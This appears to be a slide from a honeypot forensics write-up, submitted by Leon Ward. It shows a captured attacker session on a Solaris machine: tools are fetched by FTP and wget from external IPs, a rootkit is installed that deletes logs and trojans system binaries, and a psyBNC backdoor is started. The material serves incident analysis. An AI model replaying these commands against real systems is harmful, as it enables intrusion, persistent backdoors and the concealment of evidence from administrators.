Scan 28
Submission by Leon Ward (nard)

Next Slide


Diagram of attack: 1

List of commands used by attacker to install backdoor's etc

# uname -a;ls -l /core /var/dt/tmp/DTSPCD.log;PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH;echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
BD PID(s): 1773
# wget
wget: not found
# w
9:44am up 13 day(s), 4:24, 0 users, load average: 0.00, 0.00, 0.01
User tty login@ idle JCPU PCPU what
# /bin/sh -i
unset HISTFILE
# unset DISPLAY
mkdir /usr/share/man/man1/.old
cd /usr/share/man/man1/.old


# ftp 62.211.66.16 21
bobzz
ftp: ioctl(TIOCGETP): Invalid argument
Password:joka

get wget
get dlp
get solbnc
get iupv6sun
Name (62.211.66.16:root): iupv6sun: No such file or directory.
get ipv6sun
quit
# ls
dlp
ipv6sun
solbnc
wget
# chmod +x solbnc wget dlp
# ./wget
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
# ./wget http://62.211.66.53/bobzz/sol.tar.gz
--09:47:58-- http://62.211.66.53:80/bobzz/sol.tar.gz
=> `sol.tar.gz'
Connecting to 62.211.66.53:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,884,160 [application/x-tar]

1800K -> .......... .......... .......... .......... [100%]

09:55:09 (4.27 KB/s) - `sol.tar.gz' saved [1884160/1884160]

# rrrrrretar -xf sol.tar.gz
rrrrrretar: not found
# cd sol
sol: does not exist
# ./setup
./setup: not found
# cd sol
sol: does not exist
# tar -xf sol.tar.gz
# cd sol
# ./setup
[0;36mbobz oN ircNet on join #privè 
/\ /\
_/ \ ___| Autor: bobz |___ / \_
\ / \ /
\/ \/


********
******** ** ** **
** ** ** * *
******* ********** ** ** * *
******* ** ** ****** ********
** ** ** ****** **********
******* ** ** ** ** ** **
******* ** ** ** ** ** **
********** ** ** ** **
/\ /\
_/ \ ___| Autor: bobz |___ / \_
\ / \ /
\/ \/

...:::[ Autore bobz ]:::...
...:::[ On IRcnEt On Join #bobz ]:::...

Ti:AmO:RosariADelete Logz...
-------
Deleting /var/log...
/var/log/secure: No such file or directory
/var/log/secure.1: No such file or directory
/var/log/secure.2: No such file or directory
/var/log/secure.3: No such file or directory
/var/log/secure.4: No such file or directory
/var/log/boot.log: No such file or directory
/var/log/boot.log.1: No such file or directory
/var/log/boot.log.2: No such file or directory
/var/log/boot.log.3: No such file or directory
/var/log/boot.log.4: No such file or directory
/var/log/cron: No such file or directory
/var/log/cron.1: No such file or directory
/var/log/cron.2: No such file or directory
/var/log/cron.3: No such file or directory
/var/log/cron.4: No such file or directory
/var/log/lastlog: No such file or directory
/var/log/xferlog: No such file or directory
/var/log/xferlog.1: No such file or directory
/var/log/xferlog.2: No such file or directory
/var/log/xferlog.3: No such file or directory
/var/log/xferlog.4: No such file or directory
/var/log/wtmp: No such file or directory
/var/log/wtmp.1: No such file or directory
/var/log/spooler: No such file or directory
/var/log/spooler.1: No such file or directory
/var/log/spooler.2: No such file or directory
/var/log/spooler.3: No such file or directory
/var/log/spooler.4: No such file or directory
---
LogZ Cancellati...
Delete LogZ by warning
[1;37m*[0;37m Starting up at: [0;36m1038585350[0;37m
[1;37m*[0;37m Installing from /usr/share/man/man1/.old/sol - Will erase /usr/share/man/man1/.old/sol after install
[1;37m*[0;37m Checking for existing rootkits..
* Checking for existing rootkits..
* checking /etc/rc2 and /etc/rc3 for rootkits...
* Rootkits Removed from config files
* checking crond configs for rootkits...
* Rootkits Removed from crond config files
*** WARNING *** 2 suspicious files found in /dev
[1;37m***[0;37m Insert Rootkit Password : 
mixer
[1;37m***[0;37m Using Password mixer
[1;37m***[0;37m Insert Rootkit SSH Port : 
5001
[1;37m***[0;37m Using Port 5001
[1;37m***[0;37m Insert Rootkit PsyBNC Port : 
7000
[1;37m***[0;37m Using Port 7000
File processed...
[1;37m*[0;37m Making backups... su ping du passwd find ls netstat strings ps Done.
[1;37m*[0;37m Installing trojans... login sshd netstat ls find strings du passwd ping su Complete.
[1;37m*[0;37m Suid removal at atq atrm eject fdformat rdist rdist admintool ufsdump ufsrestore quota ff.core lpset lpstat netpr arp chkperm Complete.
[1;37m*[0;37m Starting Patcher...
* Patching...
DTSCD PATCHED
LPD PATCHED
fingerd
cmsd
ttdbserverd
sadmind
statd
rquotad
rusersd
cachefsd
bindshells
snmpXdmid
Done.

--09:56:21-- ftp://sunsolve.sun.com:21/pub/patches/111085-02.zip
=> `111085-02.zip'
Connecting to sunsolve.sun.com:21... connected!
Logging in as anonymous ... Logged in!
==> TYPE I ... done. ==> CWD pub/patches ... done.
==> PORT ... done. ==> RETR 111085-02.zip ... done.
Length: 27,300 (unauthoritative)

0K -> .......... .......... ...... [100%]

09:56:45 (1.83 KB/s) - `111085-02.zip' saved [27300]

Archive: 111085-02.zip
creating: 111085-02/
inflating: 111085-02/.diPatch 
creating: 111085-02/SUNWcsu/
inflating: 111085-02/SUNWcsu/pkgmap 
inflating: 111085-02/SUNWcsu/pkginfo 
creating: 111085-02/SUNWcsu/install/
inflating: 111085-02/SUNWcsu/install/checkinstall 
inflating: 111085-02/SUNWcsu/install/copyright 
inflating: 111085-02/SUNWcsu/install/i.none 
inflating: 111085-02/SUNWcsu/install/patch_checkinstall 
inflating: 111085-02/SUNWcsu/install/patch_postinstall 
inflating: 111085-02/SUNWcsu/install/postinstall 
inflating: 111085-02/SUNWcsu/install/preinstall 
creating: 111085-02/SUNWcsu/reloc/
creating: 111085-02/SUNWcsu/reloc/usr/
creating: 111085-02/SUNWcsu/reloc/usr/bin/
inflating: 111085-02/SUNWcsu/reloc/usr/bin/login 
inflating: 111085-02/README.111085-02 
Copyright 2001 Sun Microsystems, Inc. All rights reserved.

This appears to be an attempt to install the same architecture and
version of a package which is already installed. This installation
will attempt to overwrite this package.

PaTcH_MsG 2 Patch number 111085-02 is already applied.

Installation of <SUNWcsu> was suspended (administration).
No changes were made to the system.
--09:56:49-- ftp://sunsolve.sun.com:21/pub/patches/108949-07.zip
=> `108949-07.zip'
Connecting to sunsolve.sun.com:21... connected!
Logging in as anonymous ... Logged in!
==> TYPE I ... done. ==> CWD pub/patches ... done.
==> PORT ... done. ==> RETR 108949-07.zip ... done.
Length: 1,033,092 (unauthoritative)


1000K -> .................................................... [100%]

10:01:00 (4.20 KB/s) - `108949-07.zip' saved [1033092]

Archive: 108949-07.zip
creating: 108949-07/
inflating: 108949-07/.diPatch 
inflating: 108949-07/postbackout 
creating: 108949-07/SUNWdtbas/
inflating: 108949-07/SUNWdtbas/pkgmap 
inflating: 108949-07/SUNWdtbas/pkginfo 
creating: 108949-07/SUNWdtbas/install/
inflating: 108949-07/SUNWdtbas/install/checkinstall 
inflating: 108949-07/SUNWdtbas/install/copyright 
inflating: 108949-07/SUNWdtbas/install/depend 
inflating: 108949-07/SUNWdtbas/install/i.none 
inflating: 108949-07/SUNWdtbas/install/patch_checkinstall 
inflating: 108949-07/SUNWdtbas/install/patch_postinstall 
inflating: 108949-07/SUNWdtbas/install/postinstall 
inflating: 108949-07/SUNWdtbas/install/preinstall 
creating: 108949-07/SUNWdtbas/reloc/
creating: 108949-07/SUNWdtbas/reloc/dt/
creating: 108949-07/SUNWdtbas/reloc/dt/lib/
inflating: 108949-07/SUNWdtbas/reloc/dt/lib/libDtHelp.so.1 
inflating: 108949-07/SUNWdtbas/reloc/dt/lib/libDtSvc.so.1 
creating: 108949-07/SUNWdtbax/
inflating: 108949-07/SUNWdtbax/pkgmap 
inflating: 108949-07/SUNWdtbax/pkginfo 
creating: 108949-07/SUNWdtbax/install/
inflating: 108949-07/SUNWdtbax/install/checkinstall 
inflating: 108949-07/SUNWdtbax/install/copyright 
inflating: 108949-07/SUNWdtbax/install/depend 
inflating: 108949-07/SUNWdtbax/install/i.none 
inflating: 108949-07/SUNWdtbax/install/patch_checkinstall 
inflating: 108949-07/SUNWdtbax/install/patch_postinstall 
inflating: 108949-07/SUNWdtbax/install/postinstall 
inflating: 108949-07/SUNWdtbax/install/preinstall 
creating: 108949-07/SUNWdtbax/reloc/
creating: 108949-07/SUNWdtbax/reloc/dt/
creating: 108949-07/SUNWdtbax/reloc/dt/lib/
creating: 108949-07/SUNWdtbax/reloc/dt/lib/sparcv9/
inflating: 108949-07/SUNWdtbax/reloc/dt/lib/sparcv9/libDtHelp.so.1 
inflating: 108949-07/SUNWdtbax/reloc/dt/lib/sparcv9/libDtSvc.so.1 
inflating: 108949-07/postpatch 
inflating: 108949-07/README.108949-07 
Copyright 2001 Sun Microsystems, Inc. All rights reserved.

This appears to be an attempt to install the same architecture and
version of a package which is already installed. This installation
will attempt to overwrite this package.


Installation of <SUNWdtbas> was successful.
Copyright 2001 Sun Microsystems, Inc. All rights reserved.

This appears to be an attempt to install the same architecture and
version of a package which is already installed. This installation
will attempt to overwrite this package.


Installation of <SUNWdtbax> was successful.
Archive: 111606-02.zip
creating: 111606-02/
inflating: 111606-02/.diPatch 
creating: 111606-02/SUNWftpu/
inflating: 111606-02/SUNWftpu/pkgmap 
inflating: 111606-02/SUNWftpu/pkginfo 
creating: 111606-02/SUNWftpu/install/
inflating: 111606-02/SUNWftpu/install/checkinstall 
inflating: 111606-02/SUNWftpu/install/copyright 
inflating: 111606-02/SUNWftpu/install/i.none 
inflating: 111606-02/SUNWftpu/install/patch_checkinstall 
inflating: 111606-02/SUNWftpu/install/patch_postinstall 
inflating: 111606-02/SUNWftpu/install/postinstall 
inflating: 111606-02/SUNWftpu/install/preinstall 
creating: 111606-02/SUNWftpu/reloc/
creating: 111606-02/SUNWftpu/reloc/usr/
creating: 111606-02/SUNWftpu/reloc/usr/sbin/
inflating: 111606-02/SUNWftpu/reloc/usr/sbin/in.ftpd 
inflating: 111606-02/README.111606-02 
Copyright 2001 Sun Microsystems, Inc. All rights reserved.

This appears to be an attempt to install the same architecture and
version of a package which is already installed. This installation
will attempt to overwrite this package.


Installation of <SUNWftpu> was successful.
PS Trojaned[1;37m*[0;37m Primary network interface is of type: [0;36mhme[0;37m
[1;37m*[0;37m Copying utils.. passgen fixer wipe utime crt idstart ssh-dxe syn README Done.
[1;37m*[0;37m psyBNC has now been configured on port 7000 (default) with no IDENT
[1;37m*[0;37m erasing rootkit...
./setup: test: unknown operator 16
# ./startbnc
.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-. ,-.,---.,--. ,-.,----. 
| O || ,-' \ \/ / | o || \| || ,--' 
| _/ _\ \ \ / | o< | |\ || |__ 
|_| |____/ |__| |___||_| \_| \___| 
Version 2.2.1 (c) 1999-2000
the most psychoid 
and the cool lam3rz Group IRCnet 

`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'
Configuration File: psybnc.conf
No logfile specified, logging to log/psybnc.log
Listening on: 0.0.0.0 port 7000
psyBNC2.2.1-cBtITLdDMSNp started (PID 3262)
^[[1;37m*^[[0;37m psyBNC installed - loaded on reboot :>
# cd ..
# ./solbnc
# ./dlp
Delete LogZ by bobbino
-------
Deleting /var/log...
/var/log/secure: No such file or directory
/var/log/secure.1: No such file or directory
/var/log/secure.2: No such file or directory
/var/log/secure.3: No such file or directory
/var/log/secure.4: No such file or directory
/var/log/boot.log: No such file or directory
/var/log/boot.log.1: No such file or directory
/var/log/boot.log.2: No such file or directory
/var/log/boot.log.3: No such file or directory
/var/log/boot.log.4: No such file or directory
/var/log/cron: No such file or directory
/var/log/cron.1: No such file or directory
/var/log/cron.2: No such file or directory
/var/log/cron.3: No such file or directory
/var/log/cron.4: No such file or directory
/var/log/lastlog: No such file or directory
/var/log/xferlog: No such file or directory
/var/log/xferlog.1: No such file or directory
/var/log/xferlog.2: No such file or directory
/var/log/xferlog.3: No such file or directory
/var/log/xferlog.4: No such file or directory
/var/log/wtmp: No such file or directory
/var/log/wtmp.1: No such file or directory
/var/log/spooler: No such file or directory
/var/log/spooler.1: No such file or directory
/var/log/spooler.2: No such file or directory
/var/log/spooler.3: No such file or directory
/var/log/spooler.4: No such file or directory
---
LogZ Cancellati...
Delete LogZ by bobbino
root 167 1 0 Nov 16 ? 0:00 /usr/sbin/inetd -s
root 3325 3265 0 10:02:25 ? 0:00 grep inetd
---
Patch.....
Attivata by RyO
#
#

Next Slide